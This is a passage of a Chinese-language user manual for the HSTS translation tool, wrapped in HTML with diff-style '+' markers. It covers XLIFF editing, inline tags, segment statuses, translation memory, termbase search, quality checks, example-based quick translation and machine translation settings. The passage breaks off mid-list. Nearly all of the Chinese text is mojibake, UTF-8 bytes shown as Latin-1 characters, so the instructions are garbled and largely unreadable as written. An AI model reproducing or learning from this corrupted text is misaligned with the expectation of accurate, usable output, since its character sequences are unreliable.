      选择两个以上 XLIFF 文件ã€æˆ–选择包å«è‡³å°‘两个 XLIFF + 文件的一个或多个文件夹ã€æˆ–上述两ç§æƒ…况的组åˆï¼Œç„¶åŽç‚¹å‡»å³é”®èœå•ä¸­çš„åˆå¹¶æ‰“开,å¯ä»¥å°†æ‰€æœ‰é€‰ä¸­çš„ + XLIFF 文件åˆå¹¶åœ¨ä¸€ä¸ª XLIFF 编辑器中打开——就åƒå®ƒä»¬æ˜¯ä¸€ä¸ª XLIFF 文件一样。

      +
      +

      图 71. åˆå¹¶æ‰“å¼€

      +
      + + +
      +
      åˆå¹¶æ‰“å¼€
      +
      +
      +
      +


      + +
      +

      图 72. åˆå¹¶æ‰“开的效果

      +
      + + +
      +
      åˆå¹¶æ‰“开的效果
      +
      +
      +
      +
      +
    • +
    + +

    å•ç‹¬æ‰“开文件的方å¼ï¼Œé€‚åˆæ–‡ä»¶ä¸å¤šçš„翻译项目;而åˆå¹¶æ‰“开的方å¼ï¼Œåˆ™å°¤å…¶é€‚用于项目中的文件比较å°ã€æ¯”较多ã€è€Œä¸”有多级目录结构的情况。

    +
    + +
    +

    +输入译文

    + + +

    XLIFF + 编辑器的使用比较直观,用鼠标点击译文所在的å•å…ƒæ ¼ï¼Œä¼šå‡ºçŽ°ä¸€ä¸ªé—ªåŠ¨çš„光标,这时就å¯ä»¥ç›´æŽ¥è¾“入译文了。输入完æˆåŽï¼Œç”¨é¼ æ ‡ç‚¹å‡»è¾“入框之外的区域,或按方å‘键↑ã€â†“转到上一个ã€ä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µï¼Œå‡å¯ä»¥å°†è¾“入的内容实时地ä¿å­˜åˆ° + XLIFF 文件中。

    +
    + +
    +

    +在译文中æ’入标记

    + + +

    æºæ–‡ä»¶ä¸­çš„一些样å¼ä¿¡æ¯ï¼ˆå¦‚加粗ã€æ–œä½“ã€ä¸‹åˆ’线ã€å‰æ™¯è‰²ã€èƒŒæ™¯è‰²ç­‰ç­‰ï¼‰åœ¨è½¬æ¢ä¸º XLIFF + åŽï¼Œä¼šä»¥å†…部标记的形å¼ä¿å­˜ï¼Œä¾¿äºŽåœ¨è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶æ—¶èƒ½å‡†ç¡®è¿˜åŽŸæ¯ä¸ªéƒ¨åˆ†çš„内容所对应的样å¼ã€‚

    + +

    因此,在翻译过程中,若æºæ–‡ä¸­åŒ…å«æœ‰å†…部标记,则需è¦åœ¨è¯‘文中相应的译文ä½ç½®ä¸Šä¹Ÿæ’å…¥åŒæ ·çš„标记。HSTS + 中的标记按其在æºæ–‡ä¸­çš„出现顺åºç¼–å·ï¼Œåœ¨è¯‘文中æ’入标记时主è¦é€šè¿‡æ ‡è®°åºå·æ¥æ ‡è¯†ã€‚HSTS æ供了如下两ç§æ–¹å¼æ¥åœ¨è¯‘文中æ’入标记:

    + +
    +

    图 73. æ’入内部标记

    +
    + + +
    +
    æ’入内部标记
    +
    +
    +
    +
    + +
      +
    • +

      快速æ’入标记

      + +

      在译文中æ’入指定åºå·ï¼ˆä¸å¤§äºŽ 10)的标记。

      +
    • +
    • +

      æ’入下一标记

      + +

      在åºè¨€ä¸­æ’å…¥æºæ–‡æœ‰ã€è€Œè¯‘文没有的最å°åºå·çš„标记。

      +
    • +
    + +

    上述两ç§æ’入标记的方å¼ï¼Œå¼ºçƒˆå»ºè®®ä½¿ç”¨å¯¹åº”çš„å¿«æ·é”®æ¥æ‰§è¡Œï¼Œå°†å¤§å¹…æ高æ“作效率。

    + +

    一些特定的内部标记是æˆå¯¹å‡ºçŽ°çš„,å³ä¸¤ä¸ªæ ‡è®°ä¸€èµ·å‡ºçŽ°ï¼Œå…ˆå‡ºçŽ°çš„称为“开始标记â€ã€åŽå‡ºçŽ°çš„称为“结æŸæ ‡è®°â€ï¼ˆå¦‚加粗字体的开始和结æŸä½ç½®ï¼‰ã€‚而在æˆå¯¹æ ‡è®°çš„“开始标记â€ä¸Žâ€œç»“æŸæ ‡è®°â€ä¹‹é—´ï¼Œå¯èƒ½è¿˜ä¼šåµŒå¥—有其他标记(如在一段加粗文字中,还有部分å•è¯å¢žåŠ äº†æ–œä½“æ ·å¼ï¼‰ã€‚æˆå¯¹æ ‡è®°ä¼šä½¿ç”¨ç›¸åŒçš„åºå·ã€‚

    + +

    除了上述这两ç§ç±»åž‹ï¼ˆæˆå¯¹æ ‡è®°ã€åµŒå¥—标记)的有特定顺åºç»“构的标记之外,其他标记则没有严格的顺åºé™åˆ¶ï¼Œå³è¯‘文中的标记顺åºå¯ä»¥å’Œæºæ–‡ä¸åŒã€‚确定标记应该放在何处的主è¦ä¾æ®æ˜¯æºæ–‡å’Œè¯‘文的内容对应关系:如果被标记包围的æºæ–‡å•è¯åœ¨å¥é¦–,而其对应的译文å•è¯å´åœ¨å¥æœ«ï¼Œåˆ™æ ‡è®°é€šå¸¸ä¹Ÿåº”该åŒæ­¥åœ°åŠ åœ¨è¯‘文的å¥æœ«ï¼ˆåŒ…围与æºæ–‡ä¸­è¢«åŒæ ·æ ‡è®°åŒ…å›´çš„å•è¯æ‰€å¯¹åº”的译文å•è¯ï¼‰ã€‚

    + +
    +

    æ示

    +

    如果先选中部分译文,å†æ’å…¥æˆå¯¹æ ‡è®°ï¼Œåˆ™é€‰ä¸­çš„文本会自动放在这一对标记的中间。如果æ’å…¥æˆå¯¹æ ‡è®°æ—¶æ²¡æœ‰é€‰æ‹©è¯‘文,则光标默认会放在这一对标记中间,以方便在其中输入内容。

    +
    + +
    +

    æ示

    +

    标记的颜色å¯ä»¥åœ¨å·¥å…· > + 选项 > + 颜色设置中修改。其中,错误标记是指在译文中出现ã€è€Œæºæ–‡ä¸­æ²¡æœ‰å‡ºçŽ°è¿‡çš„标记,需è¦ä»Žè¯‘文中删除这些标记。

    +
    +
    + +
    +

    +修改文本段状æ€

    + + +

    文本段状æ€å¯ä»¥ç”¨æ¥è¡¨ç¤ºè¯¥æ–‡æœ¬æ®µæ‰€å¤„的翻译æµç¨‹ï¼ŒHSTS æ供了以下几ç§æ–‡æœ¬æ®µçš„翻译æµç¨‹çŠ¶æ€ï¼š

    + +
    +

    图 74. å³é”®èœå•ï¼šæ–‡æœ¬æ®µçŠ¶æ€

    +
    + + +
    +
    å³é”®èœå•ï¼šæ–‡æœ¬æ®µçŠ¶æ€
    +
    +
    +
    +
    + +
      +
    • +

      未翻译

      + +

      未添加译文的文本段。若把其他状æ€ä¸‹çš„文本段译文删除或清空,则文本段状æ€è‡ªåŠ¨æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚

      +
    • +
    • +

      è‰ç¨¿

      + +

      添加了译文ã€ä½†æœªç¡®è®¤æ˜¯å¦å·²ç¿»è¯‘好的文本段。若对éžè‰ç¨¿çŠ¶æ€çš„译文进行了改动ã€ä¸”译文éžç©ºï¼Œåˆ™è‡ªåŠ¨æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚

      +
    • +
    • +

      已翻译

      + +

      添加了译文ã€ä¸”å·²ç»ç¿»è¯‘人员自我确认已翻译完æˆçš„文本段。用户å¯å°†æ–‡æœ¬æ®µä»Žæœªç¿»è¯‘之外的其他状æ€ä½¿ç”¨å®Œæˆç¿»è¯‘功能改为此状æ€ã€‚

      +
    • +
    • +

      已批准

      + +

      译文已ç»ç¼–辑或校对人员åˆæ­¥ç¡®è®¤ç¿»è¯‘无误的文本段,éšå«å·²ç¿»è¯‘。用户å¯å°†æ–‡æœ¬æ®µä»Žæœªç¿»è¯‘之外的其他状æ€ä½¿ç”¨æ‰¹å‡†åŠŸèƒ½æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚

      +
    • +
    • +

      已签å‘

      + +

      译文已ç»ç¼–辑或校对人员最终确认å¯ä½œä¸ºç»ˆç¨¿çš„文本段,éšå«å·²æ‰¹å‡†ã€‚用户å¯å°†æ–‡æœ¬æ®µä»Žå·²æ‰¹å‡†çŠ¶æ€ä½¿ç”¨ç­¾å‘功能改为此状æ€ã€‚

      +
    • +
    + +

    其中,将文本段状æ€ä¿®æ”¹ä¸ºâ€œå·²ç¿»è¯‘â€æˆ–“已批准â€æ—¶ï¼Œè‹¥é¡¹ç›®æ­£ç¡®è®¾ç½®äº†é»˜è®¤è®°å¿†åº“,则åŒæ—¶è¿˜ä¼šè‡ªåŠ¨å°†æ–‡æœ¬æ®µå…¥åº“,å¦åˆ™åªä¿®æ”¹çŠ¶æ€è€Œä¸å…¥åº“。

    +
    + +
    +

    +记忆库

    + + +

    在翻译过程中,使用频率较高的记忆库相关功能如下:

    + +
    +

    +文本段入库

    + + +

    将文本段的æºæ–‡åŠå…¶è¯‘æ–‡ä¿å­˜åˆ°è®°å¿†åº“,å¯ä»¥åœ¨ç±»ä¼¼çš„å¥å­ä¸­å¤ç”¨éƒ¨åˆ†è¯‘文,并使ä¸åŒæ–‡æœ¬æ®µçš„译文语言风格尽é‡ä¸€è‡´ã€‚

    + +

    如å‰é¢æ‰€è¿°ï¼Œå°†æ–‡æœ¬æ®µçŠ¶æ€ä¿®æ”¹ä¸ºâ€œå·²ç¿»è¯‘â€æˆ–“已批准â€æ—¶ï¼Œè‹¥é¡¹ç›®æ­£ç¡®è®¾ç½®äº†é»˜è®¤è®°å¿†åº“,åŒæ—¶è¿˜ä¼šè‡ªåŠ¨å°†æ–‡æœ¬æ®µå…¥åº“,å¦åˆ™åªä¿®æ”¹çŠ¶æ€è€Œä¸å…¥åº“。若需è¦åœ¨é¡¹ç›®å®Œæˆæ—¶ç»Ÿä¸€å°†æ‰€æœ‰æ–‡æœ¬æ®µå…¥åº“,则å¯ä»¥å‚考第 1 节 “更新记忆库â€çš„内容。

    + +

    以上述两ç§æ–¹å¼å°†æ–‡æœ¬æ®µå…¥åº“时,对于被判定为é‡å¤ï¼ˆå³æºæ–‡ç›¸åŒï¼‰çš„æ¡ç›®ï¼Œä¸Žå¯¼å…¥ TMX + 时一样å¯ä»¥è®¾ç½®å…¶å¤„ç†ç­–略,详情è§â€œå¯¼å…¥ TMX 文件â€ä¸€èŠ‚。

    +
    + +
    +

    +获å–当å‰æ–‡æœ¬æ®µçš„匹é…

    + + +

    若已正确地为项目设置了记忆库,则在æ¯æ¬¡é€‰æ‹©ä¸€ä¸ªæ–‡æœ¬æ®µæ—¶ï¼ŒHSTS + 会自动地从记忆库中获å–当å‰æ–‡æœ¬æ®µçš„匹é…,并显示在记忆库视图中。选择具体的匹é…项,还å¯ä»¥åœ¨è®°å¿†åº“视图的状æ€æ ä¸­çœ‹åˆ°è¯¥åŒ¹é…的相关信æ¯ï¼šä¿®æ”¹æ—¶é—´ã€ä¿®æ”¹è€…ã€è®°å¿†åº“å称。

    + +
    +

    图 75. 记忆库匹é…

    +
    + + +
    +
    记忆库匹é…
    +
    +
    +
    +
    + +

    把鼠标放在该状æ€æ ä¸Šï¼Œåˆ™å¯ä»¥çœ‹åˆ°æ›´å¤šå±žæ€§ä¿¡æ¯ï¼šåˆ›å»ºè€…ã€åˆ›å»ºæ—¶é—´ã€è‡ªå®šä¹‰é¡¹ç›®å±žæ€§ï¼ˆå…¶è®¾ç½®æ–¹æ³•è¯·å‚考“项目信æ¯â€ä¸€èŠ‚ã€â€œé¡¹ç›®è®¾ç½®â€ä¸€èŠ‚)。

    + +

    用户å¯ä»¥åœ¨å·¥å…·èœå• > + 选项 > 翻译 + > 记忆库中设置查询记忆库时的å‚数:

    + +
    +

    图 76. 选项:记忆库

    +
    + + +
    +
    选项:记忆库
    +
    +
    +
    +
    + +
      +
    • +

      区分大å°å†™

      +
    • +
    • +

      忽略标记

      +
    • +
    • +

      最低匹é…率

      + +

      记忆库中与当å‰æ–‡æœ¬æ®µä¹‹é—´çš„匹é…低于此数字的匹é…å°†ä¸ä¼šè¢«æ˜¾ç¤ºã€‚

      +
    • +
    • +

      上下文文本段数é‡

      + +

      å‚与计算上下文匹é…的上文åŠä¸‹æ–‡çš„文本段数é‡ã€‚

      +
    • +
    • +

      匹é…显示数é‡

      + +

      若满足最低匹é…率的匹é…æ•°é‡è¾¾åˆ°æ­¤æ•°å­—,则ä¸ä¼šç»§ç»­åœ¨è®°å¿†åº“中查找匹é…。

      +
    • +
    • +

      匹é…优先级

      + +
        +
      • +

        默认记忆库

        + +

        å³é»˜è®¤è®°å¿†åº“的记录排在éžé»˜è®¤è®°å¿†åº“的记录之å‰ã€‚

        +
      • +
      • +

        最近更新

        + +

        å³è¶Šæ–°çš„记录排在越å‰é¢ã€‚

        +
      • +
      +
    • +
    + +

    在记忆库视图中,ä¸åŒçš„匹é…类型用ä¸åŒçš„颜色æ¥è¡¨ç¤ºï¼Œæ–¹ä¾¿ç”¨æˆ·ç›´è§‚地区分它们,这些颜色的设置å¯ä»¥åœ¨å·¥å…·èœå• + > 选项 > + 系统 > + 颜色设置中修改。

    + +
    +

    图 77. 选项:颜色设置

    +
    + + +
    +
    选项:颜色设置
    +
    +
    +
    +
    +
    + +
    +

    +将匹é…应用到译文

    + + +

    在记忆库视图中,åŒå‡»åŒ¹é…å¯å°†è¯¥åŒ¹é…的译文应用到当å‰æ–‡æœ¬æ®µï¼ŒåŒæ—¶ï¼Œæ–‡æœ¬æ®µä¸­å¯¹åº”的匹é…率数字的背景色也与该匹é…的背景色一致。å¦å¤–,也å¯ä»¥ä½¿ç”¨å¿«æ·é”® + Alt+1ã€Alt+2ã€Alt+3 + 分别å–第 1ã€2ã€3 个匹é…的译文。

    + +
    +

    图 78. 接å—匹é…

    +
    + + +
    +
    接å—匹é…
    +
    +
    +
    +
    + +
    +

    æ示

    +

    如果将匹é…应用到译文之åŽä¿®æ”¹äº†è¯‘文,则该文本段的匹é…率数字的背景色会自动消失(仅ä¿ç•™æ•°å­—而无背景色),以示区别。

    +
    + +

    如果已ç»è¾“入了部分译文,åˆæƒ³ä»Žè®°å¿†åº“匹é…中选择部分内容应用到译文中,则å¯ä»¥ç›´æŽ¥ç”¨é¼ æ ‡åœ¨åŒ¹é…的译文中选择需è¦çš„内容,然åŽç”¨ + Ctrl/Command+C + å¤åˆ¶ï¼Œå†ç”¨ + Ctrl/Command+V + 粘贴到文本段中。

    + +
    +

    图 79. 记忆库匹é…:选择部分译文

    +
    + + +
    +
    记忆库匹é…:选择部分译文
    +
    +
    +
    +
    +
    + +
    +

    +编辑匹é…ã€åˆ é™¤åŒ¹é…

    + + +

    如果å‘现记忆库视图中的匹é…有错误需è¦æ›´æ­£ï¼Œæˆ–有é‡å¤å…¥åº“çš„å¥å­éœ€è¦åˆ é™¤ï¼Œåˆ™å¯ä»¥åˆ†åˆ«ä½¿ç”¨è®°å¿†åº“视图上的编辑匹é…和删除匹é…两个按钮æ¥è¿›è¡Œæ“作。

    + +
    +

    图 80. 记忆库:编辑匹é…

    +
    + + +
    +
    记忆库:编辑匹é…
    +
    +
    +
    +
    + +

    在记忆库视图中选中è¦ç¼–辑的匹é…ã€ç‚¹å‡»ç¼–辑匹é…按钮,弹出如下编辑匹é…对è¯æ¡†ï¼š

    + +
    +

    图 81. 编辑匹é…

    +
    + + +
    +
    编辑匹é…
    +
    +
    +
    +
    + +

    编辑完æˆåŽç‚¹å‡»ç¡®å®šå³å¯å°†æ”¹åŠ¨å®žæ—¶åœ°ä¿å­˜åˆ°è®°å¿†åº“中。

    + +
    +

    图 82. 记忆库:删除匹é…

    +
    + + +
    +
    记忆库:删除匹é…
    +
    +
    +
    +
    + +

    删除匹é…çš„æ“作与编辑类似,选中匹é…åŽç‚¹å‡»åˆ é™¤åŒ¹é…按钮,然åŽç¡®è®¤åˆ é™¤å³å¯ã€‚

    + +
    +

    æ示

    +

    编辑或删除匹é…çš„æ“作对象å‡ä»…é™äºŽå®žæ—¶åœ°ä»Žé»˜è®¤è®°å¿†åº“中查询到的匹é…,而无法对预存的记忆库匹é…ã€æœºå™¨ç¿»è¯‘匹é…或快速翻译匹é…进行编辑和删除。

    +
    + +
    +

    警告

    +

    对记忆库匹é…的编辑和删除æ“作都是直接生效ã€ä¸”无法撤销,请谨慎æ“作。

    +
    +
    + +
    +

    +相关æœç´¢

    + + +

    相关æœç´¢ä¸»è¦ç”¨äºŽæœç´¢è®°å¿†åº“中与指定æºæ–‡å†…容相关的译文,方法如下:

    + +
      +
    1. +

      确认项目已正确设置记忆库,详情请å‚考图 52 “项目设置:记忆库â€ï¼›

      +
    2. +
    3. +

      选择æºæ–‡æˆ–译文中的内容,点击å³é”®èœå•æˆ–翻译èœå•ä¸­çš„相关æœç´¢ï¼›

      +
      +

      æ示

      +

      选中的内容也将自动å¤åˆ¶åˆ°ç³»ç»Ÿå‰ªè´´æ¿ï¼Œå¦‚果在记忆库中没有找到想è¦çš„结果,想在网络上继续æœç´¢ï¼Œå¯ç›´æŽ¥ä½¿ç”¨å¿«æ·é”® + Ctrl/Command+V + 将刚æ‰é€‰ä¸­çš„内容粘贴到æµè§ˆå™¨çš„æœç´¢æ¡†ä¸­ã€‚

      +
      + +
      +

      图 83. XLIFF 编辑器:选择待æœç´¢å†…容

      +
      + + +
      +
      XLIFF 编辑器:选择待æœç´¢å†…容
      +
      +
      +
      +
      +
    4. +
    5. +

      在弹出的相关æœç´¢å¯¹è¯æ¡†ä¸­ï¼Œæ ¹æ®éœ€è¦è°ƒæ•´å¦‚下设置:

      + +
        +
      • +

        区分大å°å†™

        +
      • +
      • +

        忽略标记

        + +

        å³ä¸æœç´¢æ–‡æœ¬æ®µä¸­çš„标记代ç ã€‚

        +
      • +
      • +

        正则表达å¼

        +
      • +
      • +

        记忆库

        + +

        选择è¦åœ¨å“ªä¸ªè®°å¿†åº“中æœç´¢ã€‚

        +
      • +
      • +

        目标语言

        + +

        默认åªåœ¨å½“å‰ XLIFF + 文件的æºè¯­è¨€ä¸­æœç´¢ï¼Œåªæ˜¾ç¤ºå…¶ç›®æ ‡è¯­è¨€çš„内容,也å¯ä»¥é€‰æ‹©åŒä¸€è¯­è¨€çš„ä¸åŒå›½å®¶è¯­è¨€ç‰ˆæœ¬çš„译文作为å‚考。

        +
      • +
      • +

        附加过滤æ¡ä»¶

        + +
          +
        • +

          æºæ–‡/译文

          +
        • +
        • +

          包å«/ä¸åŒ…å«

          +
        • +
        • +

          文本内容

          +
        • +
        +
      • +
      + +
      +

      图 84. 相关æœç´¢

      +
      + + +
      +
      相关æœç´¢
      +
      +
      +
      +
      +
    6. +
    7. +

      点击æœç´¢æŒ‰é’®ï¼ŒæŸ¥çœ‹ç»“果。

      +
    8. +
    + +

    åŒå‡»ç›¸å…³æœç´¢ç»“果中的译文åŽï¼Œå¯ä»¥é€‰æ‹©å…¶ä¸­çš„内容,å¤åˆ¶åˆ°å‰ªè´´æ¿ä¸­å¤‡ç”¨ã€‚

    +
    +
    + +
    +

    +术语库

    + + +

    和记忆库对应的,术语库相关的常用功能也类似:

    + +
    +

    +添加术语

    + + +

    è¦å°†æœ¯è¯­æ·»åŠ åˆ°æœ¯è¯­åº“,å¯ä»¥æŒ‰å¦‚下步骤æ“作:

    + +
      +
    1. +

      确认已为项目设置了默认术语库,详情请å‚考图 69 “项目设置:术语库â€ï¼›

      +
    2. +
    3. +

      在打开的 XLIFF + 文件中,åŒæ—¶é€‰ä¸­è¦æ·»åŠ çš„术语的æºæ–‡å’Œè¯‘文;

      + +
      +

      图 85. 添加术语

      +
      + + +
      +
      添加术语
      +
      +
      +
      +
      +
    4. +
    5. +

      点击翻译èœå• > + 添加术语(或使用快æ·é”® + Ctrl/Command+T),在弹出的添加术语到术语库对è¯æ¡†ä¸­ï¼Œä¸Šä¸€æ­¥é€‰ä¸­çš„æºæ–‡å’Œè¯‘文已ç»è‡ªåŠ¨å¡«å†™åˆ°ç›¸åº”çš„ä½ç½®ï¼›

      + +
      +

      图 86. 添加术语对è¯æ¡†

      +
      + + +
      +
      添加术语对è¯æ¡†
      +
      +
      +
      +
      +
    6. +
    7. +

      如有必è¦ï¼Œè¿˜å¯ä»¥å¡«å†™å±žæ€§å­—段,便于区分ä¸åŒå®¢æˆ·æˆ–题æ对åŒä¸€æœ¯è¯­æœ‰ä¸åŒç¿»è¯‘的情况;

      +
    8. +
    9. +

      确认所有信æ¯æ— è¯¯åŽç‚¹å‡»ç¡®å®šæŒ‰é’®ï¼Œå®Œæˆæœ¯è¯­çš„添加。

      +
    10. +
    + +

    用户å¯ä»¥åœ¨å·¥å…·èœå• > + 选项 > 翻译 + > 术语库中设置被判定为é‡å¤çš„术语的处ç†ç­–略,详情è§â€œå¯¼å…¥ TBX 文件â€ä¸€èŠ‚。

    +
    + +
    +

    +获å–当å‰æ–‡æœ¬æ®µçš„术语

    + + +

    若已正确地为项目设置了术语库,则在æ¯æ¬¡é€‰æ‹©ä¸€ä¸ªæ–‡æœ¬æ®µæ—¶ï¼ŒHSTS + 会自动地从术语库中获å–当å‰æ–‡æœ¬æ®µçš„术语,并显示在术语视图中。

    + +
    +

    图 87. 术语匹é…

    +
    + + +
    +
    术语匹é…
    +
    +
    +
    +
    +
    + +
    +

    +在译文中æ’入术语

    + + +

    将光标定ä½åœ¨è¯‘文中,åŒå‡»æœ¯è¯­è§†å›¾ä¸­çš„术语,å³å¯ä»¥å°†è¯¥æœ¯è¯­çš„译文æ’入到光标所在ä½ç½®ã€‚å¦å¤–,也å¯ä»¥ä½¿ç”¨å¿«æ·é”® + Ctrl+Shift+1~0 + æ¥æ’å…¥åºå·ä¸º 1~10 的术语。

    + +
    +

    图 88. æ’入术语

    +
    + + +
    +
    æ’入术语
    +
    +
    +
    +
    +
    + +
    +

    +æœç´¢æœ¯è¯­

    + + +

    在术语库中æœç´¢æœ¯è¯­çš„步骤如下:

    + +
      +
    1. +

      确认已为项目设置了术语库,详情请å‚考图 69 “项目设置:术语库â€ï¼›

      +
    2. +
    3. +

      在打开的 XLIFF 文件æºæ–‡æˆ–译文中,选择è¦æœç´¢çš„术语;

      + +
      +

      图 89. XLIFF 编辑器:选择待æœç´¢å†…容

      +
      + + +
      +
      XLIFF 编辑器:选择待æœç´¢å†…容
      +
      +
      +
      +
      +
    4. +
    5. +

      点击翻译èœå• > + æœç´¢æœ¯è¯­ï¼›

      +
    6. +
    7. +

      在弹出的术语æœç´¢å¯¹è¯æ¡†ä¸­ï¼Œè‹¥ä¹‹å‰é€‰æ‹©äº†æœ¯è¯­ï¼Œä¹Ÿä¼šè‡ªåŠ¨å¡«å†™åœ¨æœç´¢æ¡†ä¸­ï¼›è‹¥æœªé€‰æ‹©ï¼Œåˆ™éœ€è¦è‡ªå·±å¡«å†™ã€‚å¦å¤–还å¯æ ¹æ®éœ€è¦è®¾ç½®å¦‚下å‚数:

      + +
      +

      图 90. æœç´¢æœ¯è¯­

      +
      + + +
      +
      æœç´¢æœ¯è¯­
      +
      +
      +
      +
      + +
        +
      • +

        区分大å°å†™

        +
      • +
      • +

        忽略标记

        +
      • +
      • +

        正则表达å¼

        +
      • +
      • +

        相似度

        + +

        与文本段的匹é…率类似,å³ä¸¤ä¸ªæœ¯è¯­ä¹‹é—´çš„相似程度

        +
      • +
      • +

        术语库

        +
      • +
      • +

        目标语言

        +
      • +
      +
    8. +
    9. +

      点击æœç´¢æŒ‰é’®ï¼ŒæŸ¥çœ‹ç»“果。

      +
    10. +
    +
    +
    + +
    +

    +å“质检查

    + + +

    HSTS æ供了丰富的å“质检查功能,从å„æ–¹é¢ä¸ºç”¨æˆ·æ高翻译质é‡æ供了帮助。在工具èœå• + > 选项 > + å“质检查 > + å“质检查中,å¯ä»¥å¯ç”¨å¦‚下检查项:

    + +
    +

    图 91. 选项:å“质检查

    +
    + + +
    +
    选项:å“质检查
    +
    +
    +
    +
    + +
      +
    • +

      术语一致性

      + +

      术语库中的术语被正确翻译。

      +
    • +
    • +

      数字一致性

      + +

      æºæ–‡ä¸­çš„数字在译文中正确输入。

      +
    • +
    • +

      标记一致性

      + +

      æºæ–‡ä¸­çš„标记在译文中正确æ’入。

      +
    • +
    • +

      éžè¯‘元素

      + +

      æºæ–‡ä¸­çš„éžè¯‘元素在译文中正确输入。

      +
    • +
    • +

      段首/段末空格

      + +

      译文å¥é¦–/å¥æœ«çš„空格与æºæ–‡ä¸€è‡´ã€‚

      +
    • +
    • +

      文本段完整性

      + +

      译文éžç©ºã€ä¸”与æºæ–‡ä¸ä¸€æ ·ã€‚

      +
    • +
    • +

      译文字数é™åˆ¶

      + +

      译文字数在å…许范围内,常用于软件 UIã€è§†é¢‘字幕等场景中。

      +
    • +
    • +

      拼写检查

      + +

      译文的拼写正确。

      +
    • +
    • +

      文本段一致性

      + +

      æºæ–‡å’Œè¯‘文分别都一致。

      +
    • +
    + +

    上述å“质检查项中,除文本段一致性之外,其余检查项å‡æ”¯æŒâ€œè‡ªåŠ¨æ£€æŸ¥â€ï¼Œå³å¯ä»¥è®¾ç½®åœ¨å®Œæˆç¿»è¯‘时或批准文本段时自动执行指定的一项或多项å“质检查。在翻译过程中,建议å¯ç”¨è‡ªåŠ¨å“质检查,以便在第一时间å‘现问题ã€å¹¶å°½æ—©è§£å†³ã€‚

    + +

    未通过å“质检查的文本段将在å“质检查结果视图中列出,åŒå‡»ç»“果视图中的问题项,å³å¯ç›´æŽ¥è·³è½¬åˆ°è¯¥æ–‡æœ¬æ®µã€‚由于该结果的展示形å¼æ˜¯ä¸€è¡Œå¯¹åº”一个问题,故当一个文本段åŒæ—¶æœ‰å¤šä¸ªå“质检查问题时,会有多个结果。

    + +
    +

    注æ„

    +

    有些情况下,å“质检查功能所认为的问题,在实际中并ä¸ä¸€å®šå°±çœŸçš„是个问题。例如,段首/段末空格在拉ä¸è¯­è¨€ä¸­æ˜¯æœ‰å¿…è¦å­˜åœ¨çš„,而在亚洲语言中则ä¸éœ€è¦ã€‚故,对于被列出的å“质检查问题是å¦éœ€è¦ä¿®æ”¹ï¼Œåº”该由翻译人员根æ®ç›®æ ‡è¯­è¨€çš„实际需è¦æ¥å†³å®šã€‚

    +
    +
    + +
    +

    +快速翻译

    + + +

    HSTS 的快速翻译是基于样例的机器翻译 (Example Based Machine + Translation, + EBMT),它å¯ä»¥æŠŠè®°å¿†åº“匹é…中的术语替æ¢æˆå½“å‰æ–‡æœ¬æ®µçš„术语,自动组装æˆè´¨é‡è¾ƒé«˜çš„译文。快速翻译将记忆库匹é…与术语结åˆï¼Œæ—¢æœ‰è®°å¿†åº“的高质é‡ã€åˆå‡å°‘了手工替æ¢æœ¯è¯­çš„ç¹çæ“作。下é¢ä¸¾ä¾‹è¯´æ˜Žå¿«é€Ÿç¿»è¯‘功能的使用场景:

    + +
      +
    • +

      å‰ææ¡ä»¶

      + +
        +
      1. +

        记忆库中有文本段“This is a black + keyboard.â€åŠå…¶è¯‘文“这是一个黑色的键盘。â€

        + +
        +

        图 92. 快速翻译:记忆库

        +
        + + +
        +
        快速翻译:记忆库
        +
        +
        +
        +
        +
      2. +
      3. +

        术语库中有如下术语:“black-黑色的â€ã€â€œkeyboard-键盘â€ã€â€œwhite-白色的â€ã€â€œmouse-é¼ æ ‡â€

        + +
        +

        图 93. 快速翻译:术语库

        +
        + + +
        +
        快速翻译:术语库
        +
        +
        +
        +
        +
      4. +
      +
    • +
    • +

      当å‰æ–‡æœ¬æ®µæºæ–‡

      + +

      “This is a white mouse.â€

      +
    • +
    • +

      快速翻译得到译文

      + +

      “这是一个白色的鼠标。â€

      + +
      +

      图 94. 快速翻译

      +
      + + +
      +
      快速翻译
      +
      +
      +
      +
      +
    • +
    + +

    快速翻译有两个必è¦æ¡ä»¶ï¼š

    + +
      +
    1. +

      当å‰æ–‡æœ¬æ®µåœ¨è®°å¿†åº“中有匹é…(需满足工具èœå• > + 选项 > 翻译 + > + 记忆库中的最低匹é…率,在上例中已设置为最低 + 35%);

      +
    2. +
    3. +

      该记忆库匹é…与当å‰æºæ–‡çš„差异处å‡åœ¨æœ¯è¯­åº“中有术语。

      +
    4. +
    + +

    建议在工具èœå• > 选项 + > + 翻译中å¯ç”¨è‡ªåŠ¨å¿«é€Ÿç¿»è¯‘功能,若未å¯ç”¨æ­¤é€‰é¡¹ï¼Œä¹Ÿå¯ä»¥é€šè¿‡ç¿»è¯‘èœå• + > 快速翻译æ¥æ‰‹åŠ¨æ‰§è¡Œå¿«é€Ÿç¿»è¯‘。

    + +
    +

    注æ„

    +

    如果当å‰æ–‡æœ¬æ®µä¸æ»¡è¶³å¿«é€Ÿç¿»è¯‘的上述两个æ¡ä»¶ï¼Œåˆ™æ‰§è¡Œæ­¤æ“作ä¸ä¼šæœ‰ä»»ä½•å¯è§çš„效果。

    +
    +
    + +
    +

    +机器翻译

    + + +

    HSTS æ供了 Bing Translator å’Œ Google Translate + 两ç§æœºå™¨ç¿»è¯‘引擎的支æŒï¼Œå‰è€…ç›®å‰å¯ä»¥å…费申请,åŽè€…则需è¦ä»˜è´¹è´­ä¹°ã€‚è¦ä½¿ç”¨æœºå™¨ç¿»è¯‘,在工具èœå• > + 选项 > 翻译 > + Google Translate/Bing + Translator 中设置如下å‚数:

    + +
    +

    图 95. 机器翻译:Google Translate

    +
    + + +
    +
    机器翻译:Google Translate
    +
    +
    +
    +
    + +
    +

    图 96. 机器翻译:Bing Translator

    +
    + + +
    +
    机器翻译:Bing Translator
    +
    +
    +
    +
    + +
      +
    • +

      密钥

      + +
        +
      • +

        Google Translate:仅需输入密钥

        +
      • +
      • +

        Bing Translator:需è¦è¾“入客户端 ID + 和密钥

        +
      • +
      +
    • +
    • +

      自动机器翻译

      + +
        +
      • +

        æ—  Google Translate/Bing Translator + 预存匹é…时自动执行

        +
      • +
      • +

        始终自动执行

        +
      • +
      • +

        手动执行

        +
      • +
      +
    • +
    • +

      预存机器翻译

      + +

